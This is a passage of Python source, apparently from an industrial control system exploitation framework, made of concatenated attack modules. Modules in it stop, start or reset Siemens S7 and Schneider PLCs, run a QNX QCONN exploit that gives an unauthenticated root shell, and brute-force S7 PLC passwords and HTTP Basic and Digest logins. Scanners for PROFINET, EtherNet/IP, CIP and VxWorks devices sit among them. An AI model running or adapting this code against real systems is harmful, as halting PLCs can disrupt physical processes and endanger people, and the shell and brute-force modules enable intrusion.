1): for slot_num in range(self.min_slot, self.max_slot + 1): print_status("Tring to scan %s with Rack%s/Slot%s" % (host, rack_num, slot_num)) order_code = '' firmware_version = '' module_type_name = '' module_name = '' serial_number = '' ip_address = host try: target = S7Client(name='S7Scanner', ip=host, port=port, rack=rack_num, slot=slot_num) target.connect() order_code, firmware_version, module_type_name, \ as_name, module_name, serial_number = target.get_target_info() ip_address = host if order_code != '': self.result.append([ order_code, module_type_name, firmware_version, module_name, serial_number, str(rack_num) + '/' + str(slot_num), ip_address ]) except Exception as err: print_error(err) return False def run(self): self.result = [] conf.verb = self.verbose nm = self.scan(protocol='TCP') for host in nm.all_hosts(): if nm[host]['tcp'][self.port]['state'] == "open": print_success("Host: %s, port:%s is open" % (host, self.port)) self.get_target_info(host=host, port=self.port) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] if len(self.result) > 0: print_success("Find %s targets" % len(self.result)) print(tabulate.tabulate(unique_device, headers=TABLE_HEADER)) print('\r') else: print_error("Didn't find any target on network %s" % self.target)
class Exploit(exploits.Exploit): """ Exploit implementation for siemens S7-300 and S7-400 PLCs Dos vulnerability. """ __info__ = { 'name': 'S7-300/400 PLC Control', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', ], 'description': 'Use S7comm command to start/stop plc.', 'references': [ ], 'devices': [ 'Siemens S7-300 and S7-400 programmable logic controllers (PLCs)', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) port = exploits.Option(102, 'Target Port', validators=validators.integer) slot = exploits.Option(2, 'CPU slot number.', validators=validators.integer) command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer) sock = None def create_connect(self, slot): slot_num = chr(slot) create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex') self.sock.send(create_connect_payload) self.sock.recv(1024) self.sock.send(setup_communication_payload) self.sock.recv(1024) def exploit(self): self.sock = socket.socket() self.sock.connect((self.target, self.port)) self.create_connect(self.slot) if self.command == 1: print_status("Start plc") self.sock.send(cpu_start_payload) elif self.command == 2: print_status("Stop plc") self.sock.send(cpu_stop_payload) else: print_error("Command %s didn't support" % self.command) def run(self): if self._check_alive(): print_success("Target is alive") print_status("Sending packet to target") self.exploit() if not self._check_alive(): print_success("Target is down") else: print_error("Target is not alive") @mute # TODO: Add check later def check(self): pass def _check_alive(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((self.target, self.port)) sock.close() except Exception: return False return True
class Exploit(exploits.Exploit): __info__ = { 'name': 'profinet device scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all device which support PROFINET-DCP protocol.', 'references': [], } nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0') timeout = exploits.Option(5, 'Timeout for response', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) sniff_mac_address = None sniff_finished = threading.Event() result = [] def sniff_answer(self): self.sniff_finished.clear() response = sniff(iface=self.nic, filter="ether dst host %s" % self.sniff_mac_address, timeout=self.timeout) self.result = [] for i in range(len(response)): pkt = response[i] if pkt[Ether].dst == self.sniff_mac_address: Device_Name = '' Device_Type = '' MAC_Address = pkt[Ether].src IP_Address = '' Netmask = '' GateWay = '' if pkt.haslayer(PNDCPIdentDeviceNameOfStationResponseBlock): Device_Name = pkt[ PNDCPIdentDeviceNameOfStationResponseBlock].NameOfStation if pkt.haslayer( PNDCPIdentDeviceManufacturerSpecificResponseBlock): Device_Type = pkt[ PNDCPIdentDeviceManufacturerSpecificResponseBlock].DeviceVendorValue if pkt.haslayer(PNDCPIdentIPParameterResponseBlock): IP_Address = pkt[ PNDCPIdentIPParameterResponseBlock].IPaddress Netmask = pkt[ PNDCPIdentIPParameterResponseBlock].Subnetmask GateWay = pkt[ PNDCPIdentIPParameterResponseBlock].StandardGateway self.result.append([ Device_Name, Device_Type, MAC_Address, IP_Address, Netmask, GateWay ]) self.sniff_finished.set() def exploit(self, target_mac): packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / ProfinetIO(frameID=0xFEFE) / \ PNDCPHeader(ServiceID=5, ServiceType=0, DCPBlocks=[PNDCPIdentRequest()]) sendp(packet, iface=self.nic) def run(self): conf.verb = self.verbose self.sniff_mac_address = get_if_hwaddr(self.nic) p = threading.Thread(target=self.sniff_answer) p.setDaemon(True) p.start() self.exploit(target_mac=PROFINET_BROADCAST_ADDRESS_1) self.exploit(target_mac=PROFINET_BROADCAST_ADDRESS_2) self.sniff_finished.wait(self.timeout + 1) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] print_table(TABLE_HEADER, *unique_device) def command_export(self, file_path, *args, **kwargs): unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device) export_table(file_path, TABLE_HEADER, unique_device)
class Exploit(exploits.Exploit): __info__ = { 'name': 'S7 300/400 PLC Password Bruteforce', 'description': 'Module performs bruteforce attack against S7 300/400 Device. ' 'If valid password string is found, it is displayed to the user.', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', ], 'references': [ '', ], 'devices': [ 'Siemens S7-300 and S7-400 programmable logic controllers (PLCs)', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) port = exploits.Option(102, 'Target Port', validators=validators.integer) rack = exploits.Option(0, 'CPU rack number.', validators=validators.integer) slot = exploits.Option(2, 'CPU slot number.', validators=validators.integer) password = exploits.Option( wordlists.passwords, 'password string or file with community strings (file://)') threads = exploits.Option(3, 'Number of threads') verbose = exploits.Option(0, 'Verbose scapy output. 1: display, 0: hide', validators=validators.choice([0, 1])) stop_on_success = exploits.Option('yes', 'Stop on first valid community string') strings = [] def run(self): conf.verb = int(self.verbose) self.strings = [] self.attack() @multi def attack(self): # todo: check if service is up if self.password.startswith('file://'): s7_pass = open(self.password[7:], 'r') else: s7_pass = [self.password] collection = LockedIterator(s7_pass) self.run_threads(self.threads, self.target_function, collection) if len(self.strings): print_success("Credentials found!") headers = ("Target", "Port", "password") print_table(headers, *self.strings) else: print_error("Valid password not found") def target_function(self, running, data): module_verbosity = boolify(self.verbose) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) s7_client = S7Client(name="Siemens PLC", ip=self.target, rack=self.rack, slot=self.slot) s7_client.connect() if not module_verbosity: s7_client.logger.setLevel(50) while running.is_set(): try: string = data.next().strip() if len(string) > 8: continue s7_client.check_privilege() if s7_client.protect_level == 1: print_error("Target didn't set password.") return s7_client.auth(string) if s7_client.authorized: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Valid password string found - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) else: print_error( "Target: {}:{} {}: Invalid community string - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) except StopIteration: break print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(exploits.Exploit): """ Module perform dictionary attack with default credentials against HTTP Digest Auth service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'HTTP Digest Default Creds', 'description': 'Module perform dictionary attack with default credentials against HTTP Digest Auth service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit Http Basic auth module 'Alexander Yakovlev <https://github.com/toxydose>', # upgrading to perform bruteforce attack against HTTP Digest Auth service ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option('', 'Target IP address or file with target:port (file://)') port = exploits.Option(80, 'Target port') threads = exploits.Option(8, 'Number of threads') defaults = exploits.Option(wordlists.defaults, 'User:Pass or file with default credentials (file://)') path = exploits.Option('/', 'URL Path') verbosity = exploits.Option(True, 'Display authentication attempts', validators=validators.boolify) stop_on_success = exploits.Option(True, 'Stop on first valid authentication attempt', validators=validators.boolify) credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): url = "{}:{}{}".format(self.target, self.port, self.path) response = http_request("GET", url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Digest Auth") return if self.defaults.startswith('file://'): defaults = open(self.defaults[7:], 'r') else: defaults = [self.defaults] with ThreadPoolExecutor(self.threads) as executor: for record in defaults: username, password = record.split(':') executor.submit(self.target_function, url, username, password) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found") defaults.close() def target_function(self, url, user, password): name = threading.current_thread().name user = user.encode('utf-8').strip() password = password.encode('utf-8').strip() response = http_request(method="GET", url=url, auth=HTTPDigestAuth(user, password)) if response is not None and response.status_code != 401: print_success("Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=self.verbosity) self.credentials.append((self.target, self.port, user, password)) if self.stop_on_success: raise StopThreadPoolExecutor else: print_error("Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'".format(self.target, self.port, name, user, password), verbose=self.verbosity)
class Exploit(exploits.Exploit): """ Module performs bruteforce attack against HTTP Basic Auth service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'HTTP Basic Bruteforce', 'description': 'Module performs bruteforce attack against HTTP Basic Auth service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', # icssploit module ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = exploits.Option( '', 'Target IP address or file with target:port (file://)') port = exploits.Option(80, 'Target port') threads = exploits.Option(8, 'Numbers of threads') usernames = exploits.Option('admin', 'Username or file with usernames (file://)') passwords = exploits.Option(wordlists.passwords, 'Password or file with passwords (file://)') path = exploits.Option('/', 'URL Path') verbosity = exploits.Option(True, 'Display authentication attempts', validators=validators.boolify) stop_on_success = exploits.Option( True, 'Stop on first valid authentication attempt', validators=validators.boolify) def run(self): self.credentials = [] self.attack() @multi def attack(self): url = "{}:{}{}".format(self.target, self.port, self.path) response = http_request(method="GET", url=url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Basic Auth") return if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = itertools.product(usernames, passwords) with threads.ThreadPoolExecutor(self.threads) as executor: for record in collection: executor.submit(self.target_function, url, record) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, url, creds): name = threading.current_thread().name user, password = creds user = user.encode('utf-8').strip() password = password.encode('utf-8').strip() response = http_request(method="GET", url=url, auth=(user, password)) if response is not None and response.status_code != 401: print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=self.verbosity) self.credentials.append((self.target, self.port, user, password)) if self.stop_on_success: raise StopThreadPoolExecutor else: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=self.verbosity)
class Exploit(exploits.Exploit): __info__ = { 'name': 'enip device scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all device which support Ethernet/IP protocol with broadcast discovery packet.', 'references': ['https://github.com/nmap/nmap/blob/master/scripts/enip-info.nse'], } nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0') timeout = exploits.Option(5, 'Timeout for response', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) sniff_mac_address = None sniff_finished = threading.Event() result = [] def sniff_answer(self): self.sniff_finished.clear() response = sniff(iface=self.nic, filter="ether dst host %s" % self.sniff_mac_address, timeout=self.timeout) self.result = [] for i in range(len(response)): pkt = response[i] if pkt.haslayer(ENIPHeader): product_name = '' device_type = '' vendor = '' revision = '' serial_number = '' ip_address = '' if pkt.haslayer(ListIdentityResponse): product_name = pkt[ListIdentityResponse].ProductName device_type = pkt[ListIdentityResponse].DeviceType if device_type in DEVICE_TYPES.keys(): device_type = DEVICE_TYPES[device_type] ip_address = pkt[SocketAddress].SinAddress vendor = pkt[ListIdentityResponse].VendorID if vendor in VENDOR_IDS.keys(): vendor = VENDOR_IDS[vendor] revision = pkt[ListIdentityResponse].Revision revision = struct.pack("!H", revision) revision = "{0:d}.{1:d}".format(ord(revision[0]), ord(revision[1])) serial_number = pkt[ListIdentityResponse].SerialNumber serial_number = struct.pack("!I", serial_number).encode('hex') self.result.append([ product_name, device_type, vendor, revision, serial_number, ip_address ]) self.sniff_finished.set() def exploit(self): self.discover_local_device() def discover_local_device(self): self.sniff_mac_address = get_if_hwaddr(self.nic) p = threading.Thread(target=self.sniff_answer) p.setDaemon(True) p.start() # wait sniff start time.sleep(0.2) packet = Ether( src=self.sniff_mac_address, dst="ff:ff:ff:ff:ff:ff") / IP( src=get_if_addr(self.nic), dst="255.255.255.255") / UDP( sport=44818, dport=44818) / ENIPHeader(Command=0x0063) sendp(packet, iface=self.nic) self.sniff_finished.wait(self.timeout + 1) def run(self): conf.verb = self.verbose self.exploit() unique_device = [list(x) for x in set(tuple(x) for x in self.result)] print tabulate.tabulate(unique_device, headers=TABLE_HEADER)
class Exploit(exploits.Exploit): __info__ = { 'name': 'S7-1200 PLC Control', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>', ], 'description': 'Use S7comm plus command to start/stop/reset plc.' 'This Module only work with unprotected PLC', 'references': [], 'devices': [ 'Siemens S7-1200 programmable logic controllers (PLCs)', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) port = exploits.Option(102, 'Target Port', validators=validators.integer) command = exploits.Option(1, 'Command 0:start plc, 1:stop plc, ' '2: reset plc, 3: reset plc and ip.', validators=validators.integer) sock = None def start_ctrl(self, payload): s = socket.socket() s.connect((self.target, self.port)) s.send(cotp_connect_packet) time.sleep(0.2) s.recv(1024) # get session packet = start_session_packet[:165] + session + start_session_packet[ 169:] packet = packet[:65] + session[1:] + packet[ 72:140] + host_session + packet[154:] s.send(packet) rep = s.recv(1024) session1 = 896 + struct.unpack('>B', rep[24:25])[0] session2 = struct.pack('>L', session1) # start_ctrl seq = struct.pack('>H', 2) payload2 = payload[:18] + seq + session2 + payload[24:] s.send(payload2) s.recv(1024) s.close() def exploit(self): if self.command == 0: print_status("Start plc") self.start_ctrl(start_cpu_packet) elif self.command == 1: print_status("Stop plc") self.start_ctrl(stop_cpu_packet) elif self.command == 2: print_status("reset plc") self.start_ctrl(stop_cpu_packet) time.sleep(0.5) self.start_ctrl(reset_cpu_packet) elif self.command == 3: print_status("reset plc and ip") self.start_ctrl(stop_cpu_packet) time.sleep(0.5) self.start_ctrl(reset_cpu_and_ip_packet) else: print_error("Command %s didn't support" % self.command) def run(self): if self._check_alive(): print_success("Target is alive") print_status("Sending packet to target") self.exploit() if not self._check_alive(): print_success("Target is down") else: print_error("Target is not alive") @mute # TODO: Add check later def check(self): pass def _check_alive(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((self.target, self.port)) sock.close() except Exception: return False return True
class Exploit(exploits.Exploit): __info__ = { 'name': 'Schneider Quantum 140 series PLC Control', 'authors': [ 'w3h <https://github.com/w3h>' 'wenzhe zhu <jtrkid[at]gmail.com>', # icsmodules ], 'description': 'Use Modbus command to start/stop plc.', 'references': [ 'https://github.com/w3h/isf/blob/master/module/exploits/Schneider/Schneider_CPU_Comoand.py' ], 'devices': [ 'Schneider Quantum 140 series programmable logic controllers (PLCs)', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) port = exploits.Option(502, 'Target Port', validators=validators.integer) command = exploits.Option(2, 'Command 1:start plc, 2:stop plc.', validators=validators.integer) sock = None session = "" def get_session(self): self.sock.send(get_session_payload) rsp = self.sock.recv(1024) if rsp: self.session = rsp[:-1].encode('hex') return True else: return False def exploit(self): self.sock = socket.socket() self.sock.settimeout(3) self.sock.connect((self.target, self.port)) if self.get_session(): if self.command == 1: print_status("Start plc") buff = ('015300000006005a' + self.session + '40ff00').decode('hex') self.sock.send(buff) elif self.command == 2: print_status("Stop plc") buff = ('015800000006005a' + self.session + '41ff00').decode('hex') self.sock.send(buff) else: print_error("Command %s didn't support" % self.command) else: print_error("Can't get session, stop exploit.") def run(self): if self._check_alive(): print_success("Target is alive") print_status("Sending packet to target") self.exploit() else: print_error("Target is not alive") @mute # TODO: Add check later def check(self): pass def _check_alive(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((self.target, self.port)) sock.close() except Exception: return False return True
class Exploit(exploits.Exploit): __info__ = { 'name': 'QNX QCONN Remote Command Execution Vulnerabilit', 'authors': [ 'David Odell', # Discovery 'Mor!p3r <moriper[at]gmail.com>', # PoC 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit 'wenzhe zhu <jtrkid[at]gmail.com>', # isfmodule ], 'description': 'This module exploits a vulnerability in the qconn component of ' 'QNX Neutrino which can be abused to allow unauthenticated users ' 'to execute arbitrary commands under the context of the "root" user.', 'references': [ 'OSVDB: 86672', 'EDB: 21520', 'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos', 'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html' ], 'devices': [ 'QNX SDP 660', ], } target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4) command = exploits.Option('/bin/sh -', 'command to run e.g. /bin/sh -') port = exploits.Option(8000, 'Target Port', validators=validators.integer) def exploit(self): req = "service launcher\n" req += "start/flags run %s\n" % self.command sock = socket.socket() sock.connect((self.target, self.port)) sock.send(req) t = telnetlib.Telnet() t.sock = sock t.interact() def run(self): if self._check_alive(): print_success("Target is alive") print_status("Sending packet to target") self.exploit() if not self._check_alive(): print_success("Target port is down") else: print_error("Target port is not alive") @mute # TODO: Add check later def check(self): pass def _check_alive(self): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(1) sock.connect((self.target, self.port)) sock.close() except Exception: return False return True
class Exploit(exploits.Exploit): __info__ = { 'name': 'cip device scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all device which support Ethernet/IP CIP protocol.', 'references': [], } target = exploits.Option( '', "String for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'") port = exploits.Option(44818, 'Ethernet/IP CIP port, default is 44818/TCP', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) max_slot = exploits.Option( 5, 'Maximum PLC Slot number for scan, default is 5, set to 10 ' 'if you want scan up to slot 10', validators=validators.integer) output_file = exploits.Option('', "output file path") result = [] def get_target_info(self, host, port): product_name = '' device_type = '' vendor = '' revision = '' serial_number = '' slot = '' ip_address = host target = CIPClient(name='CIP_Scanner', ip=host, port=port) target.connect() for slot_num in range(self.max_slot + 1): print_status("Tring to scan %s with Slot%s" % (host, slot_num)) try: product_name, device_type, vendor, revision, serial_number = \ target.get_target_info(port_segment=slot_num) print(product_name, device_type, vendor, revision, serial_number) slot = slot_num ip_address = host if serial_number != '': self.result.append([ product_name, device_type, vendor, revision, serial_number, str(slot), ip_address ]) except Exception as err: print_error(err) return False def run(self): self.result = [] conf.verb = self.verbose nm = port_scan(protocol='TCP', target=self.target, port=self.port) for host in nm.all_hosts(): if nm[host]['tcp'][self.port]['state'] == "open": print_success("Host: %s, port:%s is open" % (host, self.port)) self.get_target_info(host=host, port=self.port) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device, key=lambda x: (x[5], x[6])) if len(self.result) > 0: print_success("Find %s targets" % len(self.result)) print_table(TABLE_HEADER, *unique_device, **{'max_column_length': 20}) print('\r') else: print_error("Didn't find any target on network %s" % self.target) def command_export(self, file_path, *args, **kwargs): unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device, key=lambda x: (x[5], x[6])) export_table(file_path, TABLE_HEADER, unique_device)
class Exploit(exploits.Exploit): __info__ = { 'name': 'vxworks 6.x device scan', 'authors': [ 'wenzhe zhu <jtrkid[at]gmail.com>' # icssploit module ], 'description': 'Scan all vxworks 6.x device with wdbrpc version 2 protocol.', 'references': [ ], } target = exploits.Option('', "string for hosts as nmap use it 'scanme.nmap.org'" " or '198.116.0-255.1-127' or '216.163.128.20/20'") port = exploits.Option(17185, 'WdbRPC port, default is 17185/UDP', validators=validators.integer) verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer) result = [] @staticmethod def sizeof_fmt(num, suffix='B'): for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']: if abs(num) < 1024.0: return "%3.1f%s%s" % (num, unit, suffix) num /= 1024.0 return "%.1f%s%s" % (num, 'Yi', suffix) def get_target_info(self, host, port): target_type = '' vxworks_version = '' cpu_type = '' cpu_model = '' memory_size = '' ip_address = host try: target = Wdb2Client(name='Vxworks_6.6', ip=host, port=self.port) target.connect() target.get_target_info() target_type = target.target_info['Target_Type'] vxworks_version = target.target_info['Vx_Version'] cpu_type = target.target_info['CPU_Type'] cpu_model = target.target_info['CPU_Model'] memory_size = self.sizeof_fmt(target.target_info['Memory_Size']) ip_address = host self.result.append([target_type, vxworks_version, cpu_type, cpu_model, memory_size, ip_address]) except Exception as err: print_error(err) return False def run(self): conf.verb = self.verbose nm = port_scan(protocol='UDP', target=self.target, port=self.port) for host in nm.all_hosts(): if nm[host]['udp'][self.port]['state'] == "open": print_success("Host: %s, port:%s is open" % (host, self.port)) self.get_target_info(host=host, port=self.port) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] print_table(TABLE_HEADER, *unique_device) def command_export(self, file_path, *args, **kwargs): unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device) export_table(file_path, TABLE_HEADER, unique_device)